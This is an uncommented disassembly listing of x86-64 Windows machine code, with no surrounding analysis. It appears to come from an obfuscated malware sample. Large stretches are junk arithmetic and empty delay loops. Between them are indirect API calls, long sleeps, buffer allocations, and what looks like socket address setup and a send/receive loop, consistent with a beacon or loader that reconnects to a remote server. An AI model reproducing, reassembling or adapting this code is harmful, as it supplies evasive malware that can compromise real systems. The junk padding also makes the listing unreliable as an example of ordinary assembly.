movzx edx, dh
mov qword [rbp - 0x16d], rax
and ecx, dword [rbp - 0x12f]
add ax, dx
xor edx, ecx
sub dword [rbp - 0x10c], ecx
sub dword [rbp - 0x37], eax
cmp r9, rdx
je 0x1400028c8
mov r10, rdx
movzx edx, dl
add r10, qword [rbp - 0x98]
mov ecx, dword [rbp - 0x20c]
mov r8, qword [str.JwiAn37gx2fv8upnv3P9nne8dPy50ZKZ2kdBKeSpwMkJIv3ELFbQLq8SKRgwaeTn15mFv5LwpqoogI]
mov edx, dword [rbp - 0x50]
mov rax, qword [rbp - 0x1ff]
mov dword [rbp - 0x160], ecx
mov qword [rbp - 0x200], r11
mov ecx, dword [rbp - 0x1f]
leave
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x88]
mov r9d, 0
mov rax, qword [0x14000991b]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x1d8
sub ecx, dword [rbp - 0x19e]
mov eax, ecx
or eax, 0xf78f
mov qword [rbp - 0xce], rcx
mov eax, edx
sub edx, ecx
mov qword [rbp - 0x10e], r9
mov rax, rcx
mov byte [rbp - 0x193], ah
or dword [rbp - 0x111], eax
add eax, dword [rbp - 0x62]
mov word [rbp - 0x46], dx
cmp edx, dword [0x140009a32]
jae 0x140002973
add qword [rbp - 0xc8], r9
mov qword [rbp - 0xe8], r10
mov r11, rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000295f
mov ah, cl
add qword [rbp - 0x63], rax
mov qword [rbp - 0x3b], rax
inc qword [rsp]
mov r10, 0x215d
cmp qword [rsp], r10
jle 0x140002951
add rsp, 0x10
mov r9, rax
movzx edx, ax
mov rcx, qword [rbp]
mov qword [rbp - 0x11d], r9
and dword [rbp - 0x170], eax
or qword [rbp - 0x12e], r9
and eax, ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400029cc
mov dword [rbp - 0x131], eax
sub cx, word [rbp - 0x1c6]
mov eax, ecx
mov r10, qword [rbp - 8]
mov eax, dword [rbp - 0x1ad]
mov eax, 0x2abd
mov dword [rbp - 0x131], ecx
lea eax, [rbp - 0x1cb]
inc qword [rsp]
mov edx, 0xe9d5
cmp edx, dword [rsp]
jl 0x14000299e
add rsp, 0x10
sub rcx, qword [rbp - 0xd5]
and qword [rbp - 0x5f], r8
mov dword [rbp - 0x1c0], eax
or r9, qword [0x140009a38]
mov qword [rbp - 0x1af], r10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002a57
mov ax, word [rbp - 0x1b0]
mov ecx, dword [rbp - 0x102]
mov rcx, rax
mov dword [rbp - 0x137], edx
add dword [rbp - 0x17b], ecx
mov rdx, qword [rbp - 0x46]
mov edx, ecx
mov rdx, qword [rbp - 0x182]
mov dword [rbp - 0xd9], ecx
and dword [rbp - 0xe9], eax
and r9, 0x3cee
mov eax, dword [rbp - 0x62]
sub r8, r11
xor rcx, qword [0x140009a35]
mov r10, rdx
inc qword [rsp]
cmp qword [rsp], 0xbd54
jle 0x140002a07
add rsp, 0x10
leave
lea rsi, [0x140009313]
mov r10, qword [rbp + 0x80]
call fcn.1400053e9
push rbx
push r13
push rsi
push rdi
push r14
push r15
push rbp
mov rbp, rsp
sub rsp, 0x318
mov qword [rbp - 0xca], r10
add eax, dword [rbp - 0x1b4]
or dword [rbp - 0x207], edi
mov rbx, qword [rbp - 0x7d]
mov qword [rbp - 0x2e0], r13
mov si, word [rbp - 0x20c]
lea ecx, [rbp - 0x115]
and dword [0x140009a2c], eax
cmp r9, rdi
je 0x140002bc3
movzx ebx, bx
mov edi, ebx
mov qword [rbp - 0x22f], rsi
mov r8, qword [rbp - 0x35]
lea rbx, [rbp - 0x1e1]
mov ebx, dword [rbp - 0x26e]
sub rbx, qword [rbp - 0x26c]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002bae
or rbx, qword [rbp - 0x1dc]
movzx ebx, ah
mov edi, dword [rbp - 0x25a]
add dword [rbp - 0x27], edi
mov eax, dword [rbp - 0x1fb]
mov edi, dword [rbp - 0x171]
mov qword [rbp - 0x1ca], r9
mov qword [rbp - 0x134], r15
mov ebx, edx
sub dword [rbp - 0xcc], ecx
mov dword [rbp - 0xf3], esi
mov qword [rbp - 0x94], rsi
mov rdx, r14
mov dword [rbp - 0xb1], edx
mov r13, r11
mov rsi, qword [rbp - 0x12d]
mov eax, dword [rbp - 0x309]
sub edi, 0x7b70
mov qword [0x140009a39], r13
add rsi, r10
mov qword [rbp - 0x96], r10
mov eax, dword [0x140009a39]
xor edi, dword [rbp - 0x1f8]
mov eax, ebx
mov ecx, dword [rbp - 0x6b]
mov edx, dword [0x140009a37]
sub rcx, rbx
and rcx, r15
mov dword [0x140009a37], eax
mov qword [rbp - 0x211], r13
mov qword [rbp - 0x6b], r8
and rbx, 0x6b8
movzx ebx, ax
or rbx, qword [rbp - 0x34]
inc qword [rsp]
mov rcx, 0x63f4
cmp qword [rsp], rcx
jle 0x140002afc
add rsp, 0x10
leave
pop r15
pop r14
pop rdi
pop rsi
pop r13
pop rbx
mov rcx, qword [0x14000930b]
mov rdx, 0xea60
mov rax, qword [0x140009933]
call rax
push r14
push rdi
push r12
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x3c8
sub rsi, qword [rbp - 0x18b]
or edi, esi
mov r11, rsi
mov ah, 0x78
lea r8, [rbp - 0x158]
mov r11, r10
mov rsi, 0x87a6
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002d2c
mov qword [rbp - 0x1e7], rsi
sub qword [rbp - 0x2ff], rsi
sub dword [rbp - 0x55], esi
mov r8, qword [rbp - 0x2f4]
movzx edx, ch
or qword [rbp - 0x48], r11
mov byte [rbp - 0x1e1], al
mov r14, r10
movzx edx, cx
mov ecx, 0xb601
movzx eax, di
mov dword [rbp - 0x1a2], ecx
movzx edx, ah
mov rcx, qword [rbp - 0x86]
lea rax, [rbp - 0x1a8]
mov qword [0x140009a30], rdx
mov edi, ecx
mov dword [rbp - 0x93], esi
mov qword [rbp - 0x115], rdi
add esi, dword [rbp - 0x24b]
mov rsi, r9
add ecx, 0x9190
xor r10, qword [rbp - 9]
mov edx, dword [rbp - 0x3be]
mov qword [rbp - 0xe5], rdi
add edx, dword [rbp - 0x105]
lea r8, [rbp - 0x3a8]
sub eax, 0x136e
add r9, 0xf71a
mov dword [rbp - 0x376], ecx
xor rsi, qword [rbp - 0x71]
mov esi, dword [rbp - 0x93]
mov r8, qword [rbp - 0x3b2]
mov edx, edi
mov r11, qword [rbp - 0x77]
mov dword [rbp - 0x29], edi
mov ecx, esi
mov edx, dword [rbp - 0x358]
mov rsi, r9
mov esi, eax
mov dword [rbp - 0x2c3], esi
lea rdx, [rbp - 0x16b]
lea rsi, [rbp - 0x14b]
movzx esi, al
mov dword [rbp - 0x331], eax
mov esi, dword [rbp - 0x241]
mov qword [rbp - 0x1cf], r12
mov r9, qword [rbp - 0x1ae]
movzx ecx, ax
mov eax, dword [rbp - 0x1cf]
movzx eax, dh
inc qword [rsp]
mov edx, 0xe7dc
cmp edx, dword [rsp]
jl 0x140002c25
add rsp, 0x10
leave
pop rsi
pop r12
pop rdi
pop r14
mov rcx, 0x4006
mov rax, qword [0x1400099c3]
call rax
mov qword [0x1400092fb], rax
push rbp
mov rbp, rsp
sub rsp, 0x458
mov qword [rbp - 0xd6], rcx
mov edx, dword [rbp - 0x3df]
mov eax, 0xffab
mov r8, qword [rbp - 0xa3]
mov rcx, qword [rbp - 0x331]
xor edx, 0x2b37
mov dword [0x140009a31], edx
mov qword [rbp - 0x40e], r10
movzx edx, byte [rbp - 0x3e]
or r8, r11
sub eax, dword [rbp - 0x197]
xor qword [rbp - 0x1c2], r11
sub ecx, 0x308c
sub r10, rax
sub r10, r11
test r8, 0x66cc6872
je 0x140002dcf
mov dword [rbp - 0x21f], edx
mov eax, dword [rbp - 0x42f]
mov rax, 0x62f1
lea r9, [rbp - 0x20f]
movzx eax, ah
mov dh, byte [rbp - 0xdd]
mov qword [rbp - 0x170], rcx
mov dword [rbp - 0x136], ecx
xor qword [rbp - 0x3b9], r8
mov dword [rbp - 0x87], ecx
sub ecx, 0xbc75
mov qword [0x140009a2c], r9
mov dword [rbp - 0x181], eax
sub eax, edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002e2e
mov r10, 0x9fa4
inc qword [rsp]
cmp qword [rsp], 0xb36c
jle 0x140002e23
add rsp, 0x10
mov ecx, edx
and r9, rax
mov qword [rbp - 0x3e8], rdx
mov dword [rbp - 0x249], ecx
mov ecx, dword [rbp - 0x2cb]
movzx edx, dh
mov r11, r9
or edx, eax
mov edx, ecx
xor rcx, qword [rbp - 0x206]
mov dx, ax
mov qword [rbp - 0x24d], r10
cmp rdx, rcx
jmp 0x140002f02
leave
mov rcx, qword [0x1400092fb]
mov eax, dword [0x1400091b7]
mov dword [rcx], eax
mov word [rcx + 4], 2
add rcx, 6
lea rdx, [0x14000978a]
mov rax, qword [0x1400099cb]
call rax
push r12
push rbx
push rdi
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x338
mov dword [rbp - 0x6e], edx
mov qword [rbp - 0x150], rdi
mov qword [0x140009a35], r11
movzx edi, bh
cmp esi, dword [str.JwiAn37gx2fv8upnv3P9nne8dPy50ZKZ2kdBKeSpwMkJIv3ELFbQLq8SKRgwaeTn15mFv5LwpqoogI]
jno 0x1400030f0
mov r9, qword [rbp - 0x130]
mov qword [rbp - 0x260], r8
sub r9, qword [rbp - 0x279]
sub qword [rbp - 0x26f], r11
mov qword [rbp - 0x30b], rdi
mov qword [rbp - 0x1ea], rsi
add qword [rbp - 0x11f], rdi
add qword [rbp - 0x287], rbx
and qword [rbp - 0x1d0], rax
or rcx, r8
mov rax, rdx
mov qword [rbp - 0x2be], rdx
mov qword [0x140009a2e], rbx
and edx, 0xd4b6
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002fe5
mov r12, qword [rbp - 0x313]
sub dword [rbp - 0x2d6], ebx
mov eax, 0x7df6
movzx eax, dh
mov dword [rbp - 0x1f5], esi
mov rbx, rcx
inc qword [rsp]
mov edx, 0xe581
cmp edx, dword [rsp]
jl 0x140002fc3
add rsp, 0x10
and rax, 0x8d59
mov rdx, qword [rbp - 0x129]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003044
mov rdx, 0x692f
mov rdx, 0x1142
sub ebx, dword [rbp - 0x27e]
mov r10, qword [rbp - 0x2d1]
and rcx, rdx
add qword [rbp - 0xe4], rcx
mov r9, qword [0x140009a2d]
mov ecx, dword [rbp - 0x317]
inc qword [rsp]
mov rax, 0xbecd
cmp qword [rsp], rax
jle 0x14000300e
add rsp, 0x10
mov dl, byte [rbp - 0x11b]
and esi, dword [rbp - 0x294]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400030cc
mov r8, qword [rbp - 0x244]
mov r9, qword [rbp - 0xcc]
and esi, ebx
add dword [rbp - 0xb5], ecx
add r11, 0x82ce
lea rcx, [rbp - 0x24a]
sub dword [rbp - 0x207], edx
sub rdi, qword [rbp - 0x1bb]
add edi, ecx
movzx edi, al
and rsi, r12
mov dword [rbp - 0x2cf], edx
sub rcx, r8
movzx edi, ah
mov edx, dword [rbp - 0x3f]
mov rbx, 0x7eba
mov r11, qword [rbp - 0x1c0]
mov edx, dword [rbp - 0x6a]
inc qword [rsp]
mov esi, 0x6967
cmp esi, dword [rsp]
jl 0x14000306f
add rsp, 0x10
mov ebx, eax
add edi, 0xdb3b
mov qword [rbp - 0x133], rcx
lea rsi, [rbp - 0x308]
cmp edx, eax
jno 0x14000312f
mov ebx, dword [rbp - 0xed]
mov r12, qword [rbp - 0x30f]
mov qword [rbp - 0x147], r10
mov rcx, 0xccc3
mov ecx, dword [rbp - 0x2a1]
movzx eax, byte [0x140009a34]
mov dword [rbp - 0x2fd], edi
mov qword [rbp - 0xaa], rsi
movzx ecx, bx
mov r9, r12
mov edi, esi
leave
pop rsi
pop rdi
pop rbx
pop r12
mov rdx, qword [0x1400092fb]
add rdx, 0xc
mov rcx, qword [rbp + 0x88]
mov r8, 0x4000
jmp 0x1400031fc
lea r9, [0x140009303]
mov qword [rsp + 0x20], 0
mov rax, qword [0x140009923]
call rax
add qword [0x140009303], 0xc
push rbp
mov rbp, rsp
sub rsp, 0x278
sub dword [rbp - 0x229], edx
lea edx, [rbp - 0x1fd]
mov dword [rbp - 0x1a2], eax
sub edx, dword [rbp - 0x1df]
mov ecx, dword [rbp - 0x184]
mov rcx, qword [rbp - 0x1fb]
mov r11, qword [rbp - 0x208]
and dword [rbp - 0x1c5], edx
mov qword [rbp - 0x104], rax
cmp r9, qword [0x140009a38]
je 0x14000334f
sub rcx, qword [rbp - 0x13]
movzx ecx, dl
mov qword [rbp - 0x71], r11
mov edx, 0x968a
mov al, byte [rbp - 0x225]
mov ecx, dword [rbp - 0x1f3]
mov r8, qword [rbp - 0x201]
mov dword [rbp - 0x7a], edx
mov dword [rbp - 0xb0], eax
lea edx, [rbp - 0x191]
sub qword [rbp - 0xa2], r9
or edx, 0x73d
movzx ecx, ch
or rax, qword [rbp - 0x11b]
xor qword [rbp - 0x122], r10
add ecx, 0x543b
mov r11, r9
mov eax, ecx
add ecx, 0xbdca
mov eax, edx
movzx ecx, dh
mov rax, 0xc2f5
add rcx, qword [rbp - 0x10b]
movzx eax, dh
xor dword [rbp - 0x1c], edx
movzx edx, cx
sub eax, edx
mov rdx, 0x5f3
and cl, byte [rbp - 0x235]
and r8, r11
add dword [rbp - 0x14d], eax
mov qword [rbp - 0x20b], rax
mov ecx, dword [rbp - 0x104]
mov qword [rbp - 0x19b], r9
sub eax, dword [rbp - 0x6f]
add dx, word [rbp - 0xb9]
sub eax, edx
xor r10, qword [rbp - 0x1fe]
mov dword [rbp - 0x176], ecx
mov dword [rbp - 0x159], edx
mov rcx, qword [rbp - 0x242]
mov ecx, dword [rbp - 0x237]
sub eax, 0x4ffb
sub qword [rbp - 0x190], rcx
leave
lea rbp, [rsp + 0x200]
mov rcx, qword [0x1400092fb]
lea rdx, [0x14000947e]
mov rax, qword [0x1400099e3]
call rax
cmp rax, 0
jne 0x14000693c
push rbp
mov rbp, rsp
sub rsp, 0x428
xor r8, qword [rbp - 0xbc]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003446
and eax, dword [rbp - 0x219]
mov r9, qword [rbp - 0x3f7]
mov qword [rbp - 0xdd], r8
mov edx, dword [rbp - 0x9d]
or ecx, dword [rbp - 0x3c]
mov dword [rbp - 0x29e], edx
add ecx, dword [rbp - 0x17b]
mov dword [rbp - 0xaf], eax
add ecx, dword [rbp - 0x12]
or edx, dword [rbp - 0x1c1]
add word [rbp - 0x255], dx
mov dword [0x140009a2d], eax
sub edx, 0xd594
mov edx, ecx
mov qword [rbp - 0x34], rcx
mov qword [rbp - 0x3ec], rdx
mov qword [rbp - 0x352], r11
add rdx, rcx
add rdx, qword [rbp - 0x1e7]
mov rax, qword [rbp - 0x2e2]
movzx ecx, dl
mov r11, 0x91b7
mov ah, byte [rbp - 0x361]
mov rax, qword [rbp - 0x3f8]
lea r8, [rbp - 0x10d]
mov qword [0x140009a2c], rcx
mov dword [rbp - 0x315], eax
mov dword [rbp - 0x34d], edx
movzx ecx, ch
or eax, edx
inc qword [rsp]
mov r8, 0x3e52
cmp qword [rsp], r8
jle 0x14000339c
add rsp, 0x10
mov dword [rbp - 0x49], eax
mov qword [0x140009a30], rdx
movzx edx, ch
cmp rcx, qword [0x140009a2f]
jne 0x1400034dc
mov rcx, 0x3534
mov qword [0x140009a37], r9
add edx, 0xe4b0
movzx edx, cl
add r9, qword [rbp - 0x3f5]
mov rcx, qword [rbp - 0x89]
add r8, qword [rbp - 0x122]
and r8, qword [rbp - 0x2f8]
mov eax, dword [rbp - 0x35c]
or r8, rax
mov qword [rbp - 0x32a], r8
mov r9, qword [rbp - 0x10e]
mov edx, 0x570b
mov eax, dword [rbp - 0x2a4]
mov edx, dword [rbp - 0x3c4]
sub ah, 0x99
xor r10, qword [rbp - 0x2ba]
mov eax, dword [rbp - 0x108]
sub r11, 0xca4a
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003502
mov r9, 0xb641
lea ecx, [rbp - 0x35b]
inc qword [rsp]
mov rdx, 0xb4b4
cmp qword [rsp], rdx
jle 0x1400034f1
add rsp, 0x10
test qword [0x140009a33], rax
je 0x14000353e
mov qword [rbp - 0x39f], r11
lea eax, [rbp - 0xaa]
and eax, dword [rbp - 0x2f]
xor ecx, dword [rbp - 0x3ea]
mov ecx, dword [rbp - 0x394]
mov dword [rbp - 0x365], edx
leave
mov rdi, qword [0x1400092fb]
add rdi, 6
movsxd rsi, dword [0x140009303]
mov r12, 0x78
call fcn.140004a60
mov rcx, 0x3e8
mov rax, qword [0x14000992b]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x48
mov r11, qword [rbp - 0x2a]
lea r8, [rbp - 0x39]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000363f
mov rcx, qword [rbp - 0x19]
sub byte [rbp - 0x17], dl
mov edx, dword [0x140009a36]
movzx edx, al
mov dword [rbp - 0x11], ecx
mov qword [rbp - 0x1c], r8
movzx ecx, al
mov rax, qword [rbp - 0x2c]
xor ecx, eax
mov ecx, dword [0x140009a35]
mov qword [0x140009a30], r8
or rcx, qword [rbp - 1]
mov ecx, dword [rbp - 2]
add eax, edx
mov qword [0x140009a2c], r11
mov eax, dword [rbp - 0x1d]
mov dword [0x140009a34], edx
add dword [rbp - 6], eax
add edx, 0x1b43
mov dword [rbp - 0x31], ecx
mov dword [rbp - 0x3d], edx
mov eax, dword [rbp - 0x37]
mov ecx, edx
sub dword [rbp - 8], edx
mov r9, r10
mov eax, ecx
add dword [rbp - 0x3b], ecx
mov eax, edx
mov dword [rbp - 0x20], ecx
mov dword [rbp - 0x39], eax
or ecx, 0x47f0
mov r9, 0x47b0
add r11, qword [rbp - 4]
xor eax, dword [rbp - 0x1b]
sub rdx, qword [rbp - 1]
mov ecx, dword [rbp - 0x38]
mov rcx, qword [rbp - 0x1a]
and rcx, rax
mov dword [rbp - 0x20], ecx
mov rcx, qword [rbp - 0x2e]
mov dword [rbp - 8], ecx
movzx edx, cx
sub qword [0x140009a3a], r9
sub r8, 0x524c
sub rdx, rax
inc qword [rsp]
cmp qword [rsp], 0x2949
jle 0x14000358e
add rsp, 0x10
mov ecx, eax
lea edx, [rbp - 0x1b]
lea eax, [rbp - 8]
and r9, 0x53cc
mov ecx, dword [rbp - 0x15]
mov edx, dword [0x140009a32]
or dword [rbp - 0x2b], edx
xor r8, qword [str.JwiAn37gx2fv8upnv3P9nne8dPy50ZKZ2kdBKeSpwMkJIv3ELFbQLq8SKRgwaeTn15mFv5LwpqoogI]
mov r8, qword [rbp - 0x1b]
mov rax, qword [rbp - 0x1f]
mov dword [0x140009a3a], ecx
add ecx, edx
mov qword [rbp - 0x14], rdx
mov r8, qword [rbp - 0x19]
mov rax, 0xf150
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400036a4
inc qword [rsp]
mov eax, 0xad6b
cmp eax, dword [rsp]
jl 0x1400036a0
add rsp, 0x10
leave
cmp qword [0x1400092f0], 0
je 0x1400036d8
mov rcx, qword [0x1400092f0]
mov rax, qword [0x1400099b3]
call rax
mov qword [0x1400092f0], 0
cmp qword [str.::::::::], 0xffffffffffffffff
je 0x140003827
jne 0x1400037fc
push r14
push rdi
push rsi
push r13
push r12
push rbp
mov rbp, rsp
sub rsp, 0x218
add ecx, edi
mov edx, dword [rbp - 0x2d]
mov dword [rbp - 0x10], ecx
cmp edx, dword [0x140009a34]
jne 0x1400037e7
or dword [rbp - 0x98], ecx
mov qword [rbp - 0x1d], r10
mov r10, qword [rbp - 0x107]
mov rdi, qword [rbp - 0x35]
mov qword [0x140009a34], r8
mov eax, ecx
sub edi, eax
mov esi, dword [rbp - 0x1c]
mov rsi, r8
mov r12, qword [0x140009a38]
mov ecx, dword [rbp - 0xa8]
xor ecx, eax
sub dword [rbp - 0x14d], ecx
sub qword [rbp - 0xb1], rax
mov qword [rbp - 0x136], r13
mov r10, r13
mov rdx, qword [rbp - 0xdf]
xor edi, dword [0x140009a37]
mov qword [rbp - 0x17a], rdx
mov qword [rbp - 0x157], rax
add dword [rbp - 0x19a], edx
mov r13, qword [rbp - 0xab]
sub dword [rbp - 0x1f9], esi
mov qword [0x140009a39], rsi
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400037b2
mov qword [rbp - 0x63], r13
add rdi, r13
mov esi, edx
movzx edi, dh
inc qword [rsp]
mov ecx, 0xb848
cmp ecx, dword [rsp]
jl 0x1400037a2
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400037d9
mov word [rbp - 0x129], cx
inc qword [rsp]
cmp qword [rsp], 0x7260
jle 0x1400037ce
add rsp, 0x10
leave
pop r12
pop r13
pop rsi
pop rdi
pop r14
ret
mov rcx, qword [str.::::::::]
mov rax, qword [0x140009963]
call rax
mov qword [str.::::::::], 0xffffffffffffffff
mov rcx, 0x493e0
mov rax, qword [0x14000992b]
call rax
call 0x140006b3c
cmp rax, 0xffffffffffffffff
je 0x14000355d
mov qword [str.::::::::], rax
push rdi
push r14
push r12
push rsi
push r15
push rbx
push r13
push rbp
mov rbp, rsp
sub rsp, 0x48
mov dword [rbp - 7], esi
movzx ebx, dh
mov qword [rbp - 0x14], r11
mov dword [rbp - 0x18], eax
mov rbx, qword [rbp - 0x25]
movzx ebx, bl
mov ebx, dword [rbp - 0x29]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400038a1
xor qword [rbp - 0x38], r12
lea rcx, [rbp - 0x3e]
mov qword [rbp - 0x2f], rbx
mov dword [0x140009a2d], eax
mov r10, rax
mov r15, r9
and qword [rbp - 0x1d], rsi
mov ebx, dword [0x140009a38]
mov ecx, dword [rbp - 0x13]
mov al, byte [rbp - 0x3a]
inc qword [rsp]
cmp qword [rsp], 0x7470
jle 0x140003875
add rsp, 0x10
mov edi, ecx
mov rax, qword [rbp - 0xf]
mov esi, eax
movzx eax, al
mov qword [rbp - 0x15], r14
mov qword [rbp - 0x14], r13
mov qword [rbp - 0x37], rax
sub ecx, edx
mov ecx, dword [rbp - 0x16]
test r11, rdx
jno 0x140003912
add qword [rbp - 0x34], r12
mov rbx, qword [rbp - 0x18]
mov qword [rbp - 0x14], r12
mov r12, qword [rbp - 0x2f]
or edi, eax
movzx eax, bl
mov rbx, qword [rbp - 0xd]
mov qword [rbp - 0xf], rsi
mov dword [rbp - 0x34], ecx
mov r15, qword [rbp - 0x36]
mov r9, qword [0x140009a30]
lea r12, [rbp - 0x2e]
and ecx, edx
mov r13, qword [rbp - 0x3a]
mov eax, dword [0x140009a37]
mov edi, dword [rbp - 0x20]
mov qword [rbp - 0x25], r9
mov dword [rbp - 0x35], ebx
mov qword [rbp - 0x3c], r8
mov qword [rbp - 0x20], rdi
mov r8, qword [rbp - 0x13]
leave
pop r13
pop rbx
pop r15
pop rsi
pop r12
pop r14
pop rdi
mov rcx, 0x200
add rcx, qword [0x140009303]
mov rax, qword [0x1400099c3]
call rax
mov qword [0x140009240], rax
mov rcx, rax
lea rdx, [0x1400091c6]
mov r8, qword [0x1400091be]
mov r9, qword [0x140009303]
mov rax, qword [0x1400099cb]
call rax
mov qword [0x140009248], rax
mov rcx, qword [0x140009303]
add qword [0x140009248], rcx
mov rcx, qword [0x140009240]
add rcx, rax
mov rdx, qword [0x1400092fb]
mov r8, qword [0x140009303]
mov rax, qword [0x1400099eb]
call rax
push r15
push rbx
push r12
push r13
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x4f8
xor eax, dword [rbp - 0x125]
test qword [0x140009a38], rsi
jne 0x1400039e5
mov edx, ecx
mov edx, dword [rbp - 0x20]
mov edx, 0xd0eb
movzx ebx, cl
mov r12, 0x2256
xor r11, qword [rbp - 0x40c]
mov dword [0x140009a30], ecx
sub ebx, dword [rbp - 0x2a7]
add qword [rbp - 0x294], r12
mov dword [rbp - 0x13f], ecx
mov ebx, dword [rbp - 8]
sub esi, dword [rbp - 0x386]
mov ebx, ecx
sub edx, ebx
mov dword [rbp - 0x28b], esi
sub esi, 0xfd90
mov esi, ebx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003a6a
mov r12, rax
add r8, qword [rbp - 0x1c9]
mov ebx, dword [rbp - 0x58]
sub dword [rbp - 0x282], ebx
add dword [rbp - 0xdf], edx
mov ecx, dword [rbp - 0x3c]
mov esi, dword [rbp - 0x169]
mov r8, rdx
add ebx, dword [rbp - 0x1da]
mov cl, byte [rbp - 0x207]
mov eax, 0xbd77
add edx, 0x1e4c
mov ch, 0xe4
sub rax, qword [rbp - 0x294]
inc qword [rsp]
mov esi, 0xbc3b
cmp esi, dword [rsp]
jl 0x140003a21
add rsp, 0x10
mov edx, dword [rbp - 0x1cd]
mov rax, 0x3889
and dword [rbp - 0x1d6], edx
sub qword [rbp - 0x20f], r11
sub r13, 0xd5b8
sub rbx, 0xf5ab
add dword [rbp - 0x2d8], edx
sub r12, qword [rbp - 0x448]
mov eax, dword [0x140009a2c]
mov dword [rbp - 0x3cf], ebx
and dword [rbp - 0x27a], ebx
mov rbx, r15
sub qword [rbp - 0x107], r10
add qword [rbp - 0x323], r10
lea r15, [0x140009a2d]
add dword [rbp - 0x2e3], eax
or r13, qword [rbp - 0x487]
movzx ecx, ax
xor r15, 0x3464
sub r10, qword [rbp - 0x292]
mov qword [rbp - 0x100], r13
sub qword [rbp - 0xa2], r8
xor dword [rbp - 0x55], edx
sub r11, r9
mov r11, qword [rbp - 0x2fb]
mov rax, r10
mov dword [rbp - 0x2b1], ebx
lea rbx, [rbp - 0x2c]
sub r15, r11
leave
pop rsi
pop r13
pop r12
pop rbx
pop r15
mov qword [rbp - 0xbe], 0
mov rcx, qword [str.::::::::]
mov rdx, qword [0x140009240]
mov r8, qword [0x140009248]
inc r8
mov r9, 0
mov rax, qword [0x14000997b]
call rax
push rax
push rax
mov rcx, qword [0x140009240]
mov rax, qword [0x1400099b3]
call rax
push r14
push rsi
push r15
push r13
push rbp
mov rbp, rsp
sub rsp, 0x238
movzx edx, ax
sub r9, qword [rbp - 0x4c]
add dword [rbp - 0x157], edx
sub r11, r13
add ecx, 0xc2bd
mov qword [rbp - 0x81], r9
mov rdx, 0xbc10
add eax, dword [rbp - 0x1c8]
mov word [rbp - 0xa6], ax
mov rdx, qword [rbp - 0x127]
add r14, 0x3fbb
mov dword [rbp - 0x1ba], esi
mov r15, qword [0x140009a33]
mov ecx, dword [rbp - 0x153]
movzx esi, ah
mov qword [rbp - 0x1c6], r13
sub esi, edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003c96
mov r13, qword [rbp - 0x6d]
mov edx, dword [rbp - 0xf6]
mov dword [rbp - 0x5b], eax
add edx, ecx
mov ecx, dword [rbp - 0x1bf]
add dl, 0xeb
mov rcx, 0xde28
mov edx, esi
movzx eax, ah
mov dword [rbp - 0xb5], ecx
sub dword [rbp - 0x201], edx
mov qword [rbp - 0x1da], r11
and dword [0x140009a37], ecx
mov qword [rbp - 0x216], r11
add eax, edx
mov esi, dword [rbp - 0xd5]
lea r11, [rbp - 0xf1]
mov eax, esi
sub rax, qword [rbp - 0x1d]
mov ecx, dword [rbp - 0x17f]
add esi, 0x91
movzx ecx, byte [0x140009a38]
movzx edx, al
mov qword [rbp - 0x112], r14
sub r13, rax
mov r13, rax
xor r14, qword [rbp - 0x208]
mov dword [rbp - 0x105], ecx
mov dword [rbp - 0x1b9], esi
mov qword [rbp - 0x1df], r14
mov rcx, qword [rbp - 0x84]
mov esi, dword [rbp - 0x161]
inc qword [rsp]
mov esi, 0x7a6d
cmp esi, dword [rsp]
jl 0x140003bef
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003cdf
sub ecx, dword [rbp - 0x69]
mov dword [0x140009a2f], esi
mov qword [rbp - 0x164], r9
mov r14, 0x3edb
add qword [rbp - 0x53], r14
sub r10, 0x8aef
mov dword [rbp - 0xe], edx
inc qword [rsp]
mov r15, 0xa6d3
cmp qword [rsp], r15
jle 0x140003cb6
add rsp, 0x10
mov rdx, qword [rbp - 0x1e5]
sub dword [rbp - 0x151], ecx
mov qword [rbp - 0x76], r14
mov dword [rbp - 0x1f4], eax
mov edx, 0x6c2
add r14, r8
or eax, esi
lea edx, [rbp - 0x14a]
lea r14, [rbp - 0x166]
add dword [rbp - 0x13d], ecx
sub r8, 0xc879
and ecx, esi
leave
pop r13
pop r15
pop rsi
pop r14
pop rax
pop rax
cmp eax, 0
jle 0x14000355d
push rbp
mov rbp, rsp
sub rsp, 0x248
mov r9, qword [rbp - 0xf5]
xor rax, qword [rbp - 0xdd]
mov ecx, 0x67ac
add ecx, 0xe42b
mov r10, r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003e0e
sub dx, 0x3351
add r8, qword [rbp - 0x187]
mov qword [rbp - 0x114], r11
mov rdx, qword [rbp - 0x31]
add edx, dword [rbp - 0x211]
sub qword [0x140009a36], rax
mov r11, qword [rbp - 0x1fe]
mov eax, edx
add dl, dh
mov edx, eax
mov qword [rbp - 0x136], rcx
mov rcx, qword [rbp - 0x1fb]
mov eax, dword [rbp - 0xbc]
mov edx, dword [rbp - 0xbf]
mov ecx, dword [rbp - 0x23a]
lea r8, [rbp - 0x194]
mov eax, 0xfe73
or r8, r11
mov dword [rbp - 0x37], edx
add rax, 0x9d14
add r10, rdx
mov r10, r9
sub qword [rbp - 0xd9], r10
mov eax, 0x6525
mov r11, qword [rbp - 0x1e]
or dword [rbp - 0x76], edx
movzx ecx, cl
